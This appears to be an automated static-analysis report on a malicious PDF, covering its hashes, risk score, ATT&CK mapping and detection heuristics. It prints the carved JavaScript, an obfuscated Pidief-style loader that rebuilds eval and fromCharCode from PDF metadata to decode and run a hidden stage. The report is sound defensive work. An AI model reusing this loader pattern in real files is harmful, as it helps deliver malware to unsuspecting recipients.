Malicious PDF — malware analysis report

Static analysis result for SHA-256 7ca7f932ff03ca83…

MALICIOUS

PDF

49.9 KB Authoring application: substr First seen: 2013-07-13
MD5: de78e63d813478803a511f53d263974c SHA-1: 463013fc4e666eb6a43445934650f6353c391be1 SHA-256: 7ca7f932ff03ca833c6f3ae70e078698a9b2abb301e7ee2ad36dca9e47dd2d55
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified by heuristics like PDF_JAVASCRIPT and PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER. The script reconstructs a string of character codes and uses `fromCharCode` to decode it, likely to download and execute a second-stage payload. The ML classifier strongly indicates maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xC4A3 489 bytes
SHA-256: 19d105ce645920f83174c87e1c3f529f4f5b97cb89ae18049b811e1804605b06
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+a[2]+t[0];
e=v[v]()[s];
dxxf=e(v[4]+'i'.concat(v[4],t));
q=dxxf[v](a.length-7,a.length+1);
d=v[0].toUpperCase()+'tring.f'+'r';
d+='o'+q;
ufgld=e(e('d'));
sub=v[0];
sub+='ubject';
q=dxxf[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	oij = 1*(q[i]);
	i++;
	oij -= (-1)*(q[i]);
	s2 += ufgld(oij);
	i++;
}
e(s2);

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